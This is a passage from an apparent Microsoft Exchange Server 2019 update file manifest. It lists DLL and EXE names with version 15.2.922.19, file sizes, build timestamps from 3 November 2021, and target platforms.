\nMicrosoft.exchange.loganalyzer.extensions.errordetection.dll| 15.2.922.19| 36,240| 3-Nov-21| 19:26| x86 \nMicrosoft.exchange.loganalyzer.extensions.ewslog.dll| 15.2.922.19| 16,760| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.loganalyzer.extensions.griffinperfcounter.dll| 15.2.922.19| 19,832| 3-Nov-21| 19:30| x86 \nMicrosoft.exchange.loganalyzer.extensions.groupescalationlog.dll| 15.2.922.19| 15,248| 3-Nov-21| 19:26| x86 \nMicrosoft.exchange.loganalyzer.extensions.httpproxylog.dll| 15.2.922.19| 17,272| 3-Nov-21| 19:27| x86 \nMicrosoft.exchange.loganalyzer.extensions.hxservicelog.dll| 15.2.922.19| 19,848| 3-Nov-21| 19:27| x86 \nMicrosoft.exchange.loganalyzer.extensions.iislog.dll| 15.2.922.19| 57,232| 3-Nov-21| 19:27| x86 \nMicrosoft.exchange.loganalyzer.extensions.migrationlog.dll| 15.2.922.19| 17,784| 3-Nov-21| 19:26| x86 \nMicrosoft.exchange.loganalyzer.extensions.oabdownloadlog.dll| 15.2.922.19| 18,832| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.loganalyzer.extensions.oauthcafelog.dll| 15.2.922.19| 16,248| 3-Nov-21| 19:26| x86 \nMicrosoft.exchange.loganalyzer.extensions.outlookservicelog.dll| 15.2.922.19| 17,784| 3-Nov-21| 19:26| x86 \nMicrosoft.exchange.loganalyzer.extensions.owaclientlog.dll| 15.2.922.19| 15,248| 3-Nov-21| 19:30| x86 \nMicrosoft.exchange.loganalyzer.extensions.owalog.dll| 15.2.922.19| 15,248| 3-Nov-21| 19:26| x86 \nMicrosoft.exchange.loganalyzer.extensions.perflog.dll| 15.2.922.19| 52,600| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.loganalyzer.extensions.pfassistantlog.dll| 15.2.922.19| 18,320| 3-Nov-21| 19:26| x86 \nMicrosoft.exchange.loganalyzer.extensions.rca.dll| 15.2.922.19| 34,168| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.loganalyzer.extensions.restlog.dll| 15.2.922.19| 17,272| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.loganalyzer.extensions.store.dll| 15.2.922.19| 18,808| 3-Nov-21| 19:27| x86 \nMicrosoft.exchange.loganalyzer.extensions.transportsynchealthlog.dll| 15.2.922.19| 43,384| 3-Nov-21| 19:26| x86 \nMicrosoft.exchange.loguploader.dll| 15.2.922.19| 165,256| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.loguploaderproxy.dll| 15.2.922.19| 54,672| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.mailboxassistants.assistants.dll| 15.2.922.19| 9,059,720| 3-Nov-21| 22:28| x86 \nMicrosoft.exchange.mailboxassistants.attachmentthumbnail.dll| 15.2.922.19| 33,168| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.mailboxassistants.common.dll| 15.2.922.19| 124,280| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.mailboxassistants.crimsonevents.dll| 15.2.922.19| 82,816| 3-Nov-21| 19:25| x64 \nMicrosoft.exchange.mailboxassistants.eventlog.dll| 15.2.922.19| 14,224| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.mailboxassistants.rightsmanagement.dll| 15.2.922.19| 30,088| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.mailboxloadbalance.dll| 15.2.922.19| 661,368| 3-Nov-21| 21:17| x86 \nMicrosoft.exchange.mailboxloadbalance.serverstrings.dll| 15.2.922.19| 63,368| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.mailboxreplicationservice.calendarsyncprovider.dll| 15.2.922.19| 175,480| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.mailboxreplicationservice.common.dll| 15.2.922.19| 2,793,848| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.mailboxreplicationservice.complianceprovider.dll| 15.2.922.19| 53,112| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.mailboxreplicationservice.contactsyncprovider.dll| 15.2.922.19| 151,944| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.mailboxreplicationservice.dll| 15.2.922.19| 967,056| 3-Nov-21| 21:16| x86 \nMicrosoft.exchange.mailboxreplicationservice.easprovider.dll| 15.2.922.19| 185,224| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.mailboxreplicationservice.eventlog.dll| 15.2.922.19| 31,632| 3-Nov-21| 21:05| x64 \nMicrosoft.exchange.mailboxreplicationservice.googledocprovider.dll| 15.2.922.19| 39,824| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.mailboxreplicationservice.imapprovider.dll| 15.2.922.19| 105,848| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.mailboxreplicationservice.mapiprovider.dll| 15.2.922.19| 95,112| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.mailboxreplicationservice.popprovider.dll| 15.2.922.19| 43,400| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.mailboxreplicationservice.proxyclient.dll| 15.2.922.19| 18,808| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.mailboxreplicationservice.proxyservice.dll| 15.2.922.19| 172,944| 3-Nov-21| 21:16| x86 \nMicrosoft.exchange.mailboxreplicationservice.pstprovider.dll| 15.2.922.19| 102,792| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.mailboxreplicationservice.remoteprovider.dll| 15.2.922.19| 98,696| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.mailboxreplicationservice.storageprovider.dll| 15.2.922.19| 188,792| 3-Nov-21| 21:12| x86 \nMicrosoft.exchange.mailboxreplicationservice.syncprovider.dll| 15.2.922.19| 43,384| 3-Nov-21| 21:11| x86 \nMicrosoft.exchange.mailboxreplicationservice.xml.dll| 15.2.922.19| 447,376| 3-Nov-21| 19:23| x86 \nMicrosoft.exchange.mailboxreplicationservice.xrmprovider.dll| 15.2.922.19| 89,976| 3-Nov-21| 21:14| x86 \nMicrosoft.exchange.mailboxtransport.monitoring.dll| 15.2.922.19| 107,920| 3-Nov-21| 22:40| x86 \nMicrosoft.exchange.mailboxtransport.storedriveragents.dll| 15.2.922.19| 371,080| 3-Nov-21| 21:21| x86 \nMicrosoft.exchange.mailboxtransport.storedrivercommon.dll| 15.2.922.19| 193,928| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.mailboxtransport.storedriverdelivery.dll| 15.2.922.19| 552,312| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.mailboxtransport.storedriverdelivery.eventlog.dll| 15.2.922.19| 16,264| 3-Nov-21| 19:25| x64 \nMicrosoft.exchange.mailboxtransport.submission.eventlog.dll| 15.2.922.19| 15,736| 3-Nov-21| 19:39| x64 \nMicrosoft.exchange.mailboxtransport.submission.storedriversubmission.dll| 15.2.922.19| 321,416| 3-Nov-21| 21:14| x86 \nMicrosoft.exchange.mailboxtransport.submission.storedriversubmission.eventlog.dll| 15.2.922.19| 17,808| 3-Nov-21| 21:04| x64 \nMicrosoft.exchange.mailboxtransport.syncdelivery.dll| 15.2.922.19| 45,456| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.mailboxtransportwatchdogservicelet.dll| 15.2.922.19| 18,320| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.mailboxtransportwatchdogservicelet.eventlog.dll| 15.2.922.19| 12,688| 3-Nov-21| 19:22| x64 \nMicrosoft.exchange.managedlexruntime.mppgruntime.dll| 15.2.922.19| 20,880| 3-Nov-21| 19:22| x86 \nMicrosoft.exchange.management.activedirectory.dll| 15.2.922.19| 415,112| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.management.classificationdefinitions.dll| 15.2.922.19| 1,269,624| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.management.compliancepolicy.dll| 15.2.922.19| 41,872| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.management.controlpanel.basics.dll| 15.2.922.19| 433,528| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.management.controlpanel.dll| 15.2.922.19| 4,566,408| 3-Nov-21| 23:32| x86 \nMicrosoft.exchange.management.controlpanel.owaoptionstrings.dll| 15.2.922.19| 260,984| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.management.controlpanelmsg.dll| 15.2.922.19| 33,680| 3-Nov-21| 19:38| x64 \nMicrosoft.exchange.management.deployment.analysis.dll| 15.2.922.19| 94,096| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.management.deployment.dll| 15.2.922.19| 586,120| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.management.deployment.xml.dll| 15.2.922.19| 3,543,440| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.management.detailstemplates.dll| 15.2.922.19| 67,984| 3-Nov-21| 21:59| x86 \nMicrosoft.exchange.management.dll| 15.2.922.19| #########| 3-Nov-21| 21:36| x86 \nMicrosoft.exchange.management.edge.systemmanager.dll| 15.2.922.19| 58,760| 3-Nov-21| 21:43| x86 \nMicrosoft.exchange.management.infrastructure.asynchronoustask.dll| 15.2.922.19| 23,952| 3-Nov-21| 21:47| x86 \nMicrosoft.exchange.management.jitprovisioning.dll| 15.2.922.19| 101,776| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.management.migration.dll| 15.2.922.19| 544,120| 3-Nov-21| 21:41| x86 \nMicrosoft.exchange.management.mobility.dll| 15.2.922.19| 305,040| 3-Nov-21| 21:46| x86 \nMicrosoft.exchange.management.nativeresources.dll| 15.2.922.19| 273,808| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.management.powershell.support.dll| 15.2.922.19| 418,696| 3-Nov-21| 21:44| x86 \nMicrosoft.exchange.management.provisioning.dll| 15.2.922.19| 275,832| 3-Nov-21| 21:49| x86 \nMicrosoft.exchange.management.psdirectinvoke.dll| 15.2.922.19| 70,528| 3-Nov-21| 21:52| x86 \nMicrosoft.exchange.management.rbacdefinition.dll| 15.2.922.19| 7,874,448| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.management.recipient.dll| 15.2.922.19| 1,501,584| 3-Nov-21| 21:46| x86 \nMicrosoft.exchange.management.snapin.esm.dll| 15.2.922.19| 71,544| 3-Nov-21| 21:42| x86 \nMicrosoft.exchange.management.systemmanager.dll| 15.2.922.19| 1,301,392| 3-Nov-21| 21:39| x86 \nMicrosoft.exchange.management.transport.dll| 15.2.922.19| 1,876,368| 3-Nov-21| 21:50| x86 \nMicrosoft.exchange.managementgui.dll| 15.2.922.19| 5,366,664| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.managementmsg.dll| 15.2.922.19| 36,240| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.mapihttpclient.dll| 15.2.922.19| 117,624| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.mapihttphandler.dll| 15.2.922.19| 209,784| 3-Nov-21| 21:41| x86 \nMicrosoft.exchange.messagesecurity.dll| 15.2.922.19| 79,760| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.messagesecurity.messagesecuritymsg.dll| 15.2.922.19| 17,296| 3-Nov-21| 19:23| x64 \nMicrosoft.exchange.messagingpolicies.dlppolicyagent.dll| 15.2.922.19| 156,024| 3-Nov-21| 21:19| x86 \nMicrosoft.exchange.messagingpolicies.edgeagents.dll| 15.2.922.19| 65,912| 3-Nov-21| 21:19| x86 \nMicrosoft.exchange.messagingpolicies.eventlog.dll| 15.2.922.19| 30,600| 3-Nov-21| 21:04| x64 \nMicrosoft.exchange.messagingpolicies.filtering.dll| 15.2.922.19| 58,256| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.messagingpolicies.hygienerules.dll| 15.2.922.19| 29,576| 3-Nov-21| 21:26| x86 \nMicrosoft.exchange.messagingpolicies.journalagent.dll| 15.2.922.19| 175,480| 3-Nov-21| 21:19| x86 \nMicrosoft.exchange.messagingpolicies.redirectionagent.dll| 15.2.922.19| 28,536| 3-Nov-21| 21:19| x86 \nMicrosoft.exchange.messagingpolicies.retentionpolicyagent.dll| 15.2.922.19| 75,144| 3-Nov-21| 21:20| x86 \nMicrosoft.exchange.messagingpolicies.rmsvcagent.dll| 15.2.922.19| 207,232| 3-Nov-21| 21:22| x86 \nMicrosoft.exchange.messagingpolicies.rules.dll| 15.2.922.19| 440,696| 3-Nov-21| 21:17| x86 \nMicrosoft.exchange.messagingpolicies.supervisoryreviewagent.dll| 15.2.922.19| 83,336| 3-Nov-21| 21:21| x86 \nMicrosoft.exchange.messagingpolicies.transportruleagent.dll| 15.2.922.19| 35,208| 3-Nov-21| 21:19| x86 \nMicrosoft.exchange.messagingpolicies.unifiedpolicycommon.dll| 15.2.922.19| 53,112| 3-Nov-21| 21:19| x86 \nMicrosoft.exchange.messagingpolicies.unjournalagent.dll| 15.2.922.19| 96,632| 3-Nov-21| 21:19| x86 \nMicrosoft.exchange.migration.dll| 15.2.922.19| 1,110,392| 3-Nov-21| 21:14| x86 \nMicrosoft.exchange.migrationworkflowservice.eventlog.dll| 15.2.922.19| 14,728| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.mobiledriver.dll| 15.2.922.19| 135,552| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.monitoring.activemonitoring.local.components.dll| 15.2.922.19| 5,064,072| 3-Nov-21| 22:34| x86 \nMicrosoft.exchange.monitoring.servicecontextprovider.dll| 15.2.922.19| 19,832| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.mrsmlbconfiguration.dll| 15.2.922.19| 68,496| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.net.dll| 15.2.922.19| 5,086,096| 3-Nov-21| 19:39| x86 \nMicrosoft.exchange.net.rightsmanagement.dll| 15.2.922.19| 265,608| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.networksettings.dll| 15.2.922.19| 37,768| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.notifications.broker.eventlog.dll| 15.2.922.19| 14,224| 3-Nov-21| 19:25| x64 \nMicrosoft.exchange.notifications.broker.exe| 15.2.922.19| 549,776| 3-Nov-21| 22:25| x86 \nMicrosoft.exchange.oabauthmodule.dll| 15.2.922.19| 22,920| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.oabrequesthandler.dll| 15.2.922.19| 106,384| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.oauth.core.dll| 15.2.922.19| 291,720| 3-Nov-21| 19:24| x86 \nMicrosoft.exchange.objectstoreclient.dll| 15.2.922.19| 17,272| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.odata.configuration.dll| 15.2.922.19| 277,896| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.odata.dll| 15.2.922.19| 2,993,552| 3-Nov-21| 22:21| x86 \nMicrosoft.exchange.officegraph.common.dll| 15.2.922.19| 91,520| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.officegraph.grain.dll| 15.2.922.19| 101,768| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.officegraph.graincow.dll| 15.2.922.19| 38,280| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.officegraph.graineventbasedassistants.dll| 15.2.922.19| 45,456| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.officegraph.grainpropagationengine.dll| 15.2.922.19| 58,256| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.officegraph.graintransactionstorage.dll| 15.2.922.19| 147,320| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.officegraph.graintransportdeliveryagent.dll| 15.2.922.19| 26,504| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.officegraph.graphstore.dll| 15.2.922.19| 184,200| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.officegraph.permailboxkeys.dll| 15.2.922.19| 26,504| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.officegraph.secondarycopyquotamanagement.dll| 15.2.922.19| 38,280| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.officegraph.secondaryshallowcopylocation.dll| 15.2.922.19| 55,672| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.officegraph.security.dll| 15.2.922.19| 147,336| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.officegraph.semanticgraph.dll| 15.2.922.19| 191,880| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.officegraph.tasklogger.dll| 15.2.922.19| 33,664| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.partitioncache.dll| 15.2.922.19| 28,040| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.passivemonitoringsettings.dll| 15.2.922.19| 32,656| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.photogarbagecollectionservicelet.dll| 15.2.922.19| 15,248| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.pop3.eventlog.dll| 15.2.922.19| 17,288| 3-Nov-21| 19:25| x64 \nMicrosoft.exchange.pop3.eventlog.dll.fe| 15.2.922.19| 17,288| 3-Nov-21| 19:25| Not applicable \nMicrosoft.exchange.pop3.exe| 15.2.922.19| 106,872| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.pop3.exe.fe| 15.2.922.19| 106,872| 3-Nov-21| 21:05| Not applicable \nMicrosoft.exchange.pop3service.exe| 15.2.922.19| 24,976| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.pop3service.exe.fe| 15.2.922.19| 24,976| 3-Nov-21| 21:05| Not applicable \nMicrosoft.exchange.popconfiguration.dl1| 15.2.922.19| 42,888| 3-Nov-21| 21:04| Not applicable \nMicrosoft.exchange.popimap.core.dll| 15.2.922.19| 264,568| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.popimap.core.dll.fe| 15.2.922.19| 264,568| 3-Nov-21| 21:05| Not applicable \nMicrosoft.exchange.powersharp.dll| 15.2.922.19| 358,280| 3-Nov-21| 19:24| x86 \nMicrosoft.exchange.powersharp.management.dll| 15.2.922.19| 4,167,032| 3-Nov-21| 21:54| x86 \nMicrosoft.exchange.powershell.configuration.dll| 15.2.922.19| 308,624| 3-Nov-21| 21:55| x64 \nMicrosoft.exchange.powershell.rbachostingtools.dll| 15.2.922.19| 41,360| 3-Nov-21| 21:53| x86 \nMicrosoft.exchange.protectedservicehost.exe| 15.2.922.19| 30,600| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.protocols.fasttransfer.dll| 15.2.922.19| 137,096| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.protocols.mapi.dll| 15.2.922.19| 441,736| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.provisioning.eventlog.dll| 15.2.922.19| 14,216| 3-Nov-21| 19:25| x64 \nMicrosoft.exchange.provisioningagent.dll| 15.2.922.19| 224,656| 3-Nov-21| 21:44| x86 \nMicrosoft.exchange.provisioningservicelet.dll| 15.2.922.19| 105,864| 3-Nov-21| 21:37| x86 \nMicrosoft.exchange.pst.dll| 15.2.922.19| 168,848| 3-Nov-21| 19:22| x86 \nMicrosoft.exchange.pst.dll.deploy| 15.2.922.19| 168,848| 3-Nov-21| 19:22| Not applicable \nMicrosoft.exchange.pswsclient.dll| 15.2.922.19| 259,464| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.publicfolders.dll| 15.2.922.19| 72,072| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.pushnotifications.crimsonevents.dll| 15.2.922.19| 215,928| 3-Nov-21| 19:25| x64 \nMicrosoft.exchange.pushnotifications.dll| 15.2.922.19| 106,872| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.pushnotifications.publishers.dll| 15.2.922.19| 425,848| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.pushnotifications.server.dll| 15.2.922.19| 70,536| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.query.analysis.dll| 15.2.922.19| 46,480| 3-Nov-21| 21:16| x86 \nMicrosoft.exchange.query.configuration.dll| 15.2.922.19| 215,952| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.query.core.dll| 15.2.922.19| 168,840| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.query.ranking.dll| 15.2.922.19| 343,440| 3-Nov-21| 21:16| x86 \nMicrosoft.exchange.query.retrieval.dll| 15.2.922.19| 174,456| 3-Nov-21| 21:17| x86 \nMicrosoft.exchange.query.suggestions.dll| 15.2.922.19| 95,096| 3-Nov-21| 21:14| x86 \nMicrosoft.exchange.realtimeanalyticspublisherservicelet.dll| 15.2.922.19| 127,352| 3-Nov-21| 21:11| x86 \nMicrosoft.exchange.relevance.core.dll| 15.2.922.19| 63,376| 3-Nov-21| 19:24| x86 \nMicrosoft.exchange.relevance.data.dll| 15.2.922.19| 36,752| 3-Nov-21| 21:05| x64 \nMicrosoft.exchange.relevance.mailtagger.dll| 15.2.922.19| 17,800| 3-Nov-21| 21:06| x64 \nMicrosoft.exchange.relevance.people.dll| 15.2.922.19| 9,666,936| 3-Nov-21| 21:12| x86 \nMicrosoft.exchange.relevance.peopleindex.dll| 15.2.922.19| #########| 3-Nov-21| 21:04| x64 \nMicrosoft.exchange.relevance.peopleranker.dll| 15.2.922.19| 36,752| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.relevance.perm.dll| 15.2.922.19| 97,680| 3-Nov-21| 19:22| x64 \nMicrosoft.exchange.relevance.sassuggest.dll| 15.2.922.19| 28,552| 3-Nov-21| 21:05| x64 \nMicrosoft.exchange.relevance.upm.dll| 15.2.922.19| 72,056| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.routing.client.dll| 15.2.922.19| 15,736| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.routing.eventlog.dll| 15.2.922.19| 13,200| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.routing.server.exe| 15.2.922.19| 59,272| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.rpc.dll| 15.2.922.19| 1,692,040| 3-Nov-21| 21:04| x64 \nMicrosoft.exchange.rpcclientaccess.dll| 15.2.922.19| 209,784| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.rpcclientaccess.exmonhandler.dll| 15.2.922.19| 60,304| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.rpcclientaccess.handler.dll| 15.2.922.19| 518,024| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.rpcclientaccess.monitoring.dll| 15.2.922.19| 161,168| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.rpcclientaccess.parser.dll| 15.2.922.19| 724,368| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.rpcclientaccess.server.dll| 15.2.922.19| 243,064| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.rpcclientaccess.service.eventlog.dll| 15.2.922.19| 20,856| 3-Nov-21| 19:25| x64 \nMicrosoft.exchange.rpcclientaccess.service.exe| 15.2.922.19| 35,192| 3-Nov-21| 21:42| x86 \nMicrosoft.exchange.rpchttpmodules.dll| 15.2.922.19| 42,376| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.rpcoverhttpautoconfig.dll| 15.2.922.19| 56,208| 3-Nov-21| 21:39| x86 \nMicrosoft.exchange.rpcoverhttpautoconfig.eventlog.dll| 15.2.922.19| 27,536| 3-Nov-21| 21:04| x64 \nMicrosoft.exchange.rules.common.dll| 15.2.922.19| 130,424| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.saclwatcher.eventlog.dll| 15.2.922.19| 14,736| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.saclwatcherservicelet.dll| 15.2.922.19| 20,360| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.safehtml.dll| 15.2.922.19| 21,392| 3-Nov-21| 19:22| x86 \nMicrosoft.exchange.sandbox.activities.dll| 15.2.922.19| 267,656| 3-Nov-21| 19:28| x86 \nMicrosoft.exchange.sandbox.contacts.dll| 15.2.922.19| 110,968| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.sandbox.core.dll| 15.2.922.19| 112,528| 3-Nov-21| 19:24| x86 \nMicrosoft.exchange.sandbox.services.dll| 15.2.922.19| 622,472| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.search.bigfunnel.dll| 15.2.922.19| 185,224| 3-Nov-21| 21:16| x86 \nMicrosoft.exchange.search.bigfunnel.eventlog.dll| 15.2.922.19| 12,176| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.search.blingwrapper.dll| 15.2.922.19| 19,320| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.search.core.dll| 15.2.922.19| 211,856| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.search.ediscoveryquery.dll| 15.2.922.19| 17,800| 3-Nov-21| 21:18| x86 \nMicrosoft.exchange.search.engine.dll| 15.2.922.19| 97,672| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.search.fast.configuration.dll| 15.2.922.19| 16,776| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.search.fast.dll| 15.2.922.19| 436,600| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.search.files.dll| 15.2.922.19| 274,312| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.search.flighting.dll| 15.2.922.19| 24,976| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.search.mdb.dll| 15.2.922.19| 218,000| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.search.service.exe| 15.2.922.19| 26,512| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.security.applicationencryption.dll| 15.2.922.19| 221,048| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.security.dll| 15.2.922.19| 1,559,416| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.security.msarpsservice.exe| 15.2.922.19| 19,832| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.security.securitymsg.dll| 15.2.922.19| 28,560| 3-Nov-21| 19:38| x64 \nMicrosoft.exchange.server.storage.admininterface.dll| 15.2.922.19| 225,144| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.server.storage.common.dll| 15.2.922.19| 5,151,104| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.server.storage.diagnostics.dll| 15.2.922.19| 214,920| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.server.storage.directoryservices.dll| 15.2.922.19| 115,600| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.server.storage.esebackinterop.dll| 15.2.922.19| 82,808| 3-Nov-21| 21:06| x64 \nMicrosoft.exchange.server.storage.eventlog.dll| 15.2.922.19| 80,776| 3-Nov-21| 19:23| x64 \nMicrosoft.exchange.server.storage.fulltextindex.dll| 15.2.922.19| 66,424| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.server.storage.ha.dll| 15.2.922.19| 81,288| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.server.storage.lazyindexing.dll| 15.2.922.19| 211,848| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.server.storage.logicaldatamodel.dll| 15.2.922.19| 1,341,328| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.server.storage.mapidisp.dll| 15.2.922.19| 511,880| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.server.storage.multimailboxsearch.dll| 15.2.922.19| 47,496| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.server.storage.physicalaccess.dll| 15.2.922.19| 873,864| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.server.storage.propertydefinitions.dll| 15.2.922.19| 1,352,592| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.server.storage.propertytag.dll| 15.2.922.19| 30,584| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.server.storage.rpcproxy.dll| 15.2.922.19| 130,440| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.server.storage.storecommonservices.dll| 15.2.922.19| 1,018,744| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.server.storage.storeintegritycheck.dll| 15.2.922.19| 111,504| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.server.storage.workermanager.dll| 15.2.922.19| 34,680| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.server.storage.xpress.dll| 15.2.922.19| 19,344| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.servicehost.eventlog.dll| 15.2.922.19| 14,728| 3-Nov-21| 19:25| x64 \nMicrosoft.exchange.servicehost.exe| 15.2.922.19| 60,816| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.servicelets.globallocatorcache.dll| 15.2.922.19| 50,576| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.servicelets.globallocatorcache.eventlog.dll| 15.2.922.19| 14,200| 3-Nov-21| 19:25| x64 \nMicrosoft.exchange.servicelets.unifiedpolicysyncservicelet.eventlog.dll| 15.2.922.19| 14,216| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.services.common.dll| 15.2.922.19| 74,120| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.services.dll| 15.2.922.19| 8,480,656| 3-Nov-21| 22:02| x86 \nMicrosoft.exchange.services.eventlogs.dll| 15.2.922.19| 30,096| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.services.ewshandler.dll| 15.2.922.19| 633,736| 3-Nov-21| 22:15| x86 \nMicrosoft.exchange.services.ewsserialization.dll| 15.2.922.19| 1,651,080| 3-Nov-21| 22:05| x86 \nMicrosoft.exchange.services.json.dll| 15.2.922.19| 296,328| 3-Nov-21| 22:09| x86 \nMicrosoft.exchange.services.messaging.dll| 15.2.922.19| 43,408| 3-Nov-21| 22:03| x86 \nMicrosoft.exchange.services.onlinemeetings.dll| 15.2.922.19| 233,352| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.services.surface.dll| 15.2.922.19| 178,568| 3-Nov-21| 22:12| x86 \nMicrosoft.exchange.services.wcf.dll| 15.2.922.19| 348,552| 3-Nov-21| 22:07| x86 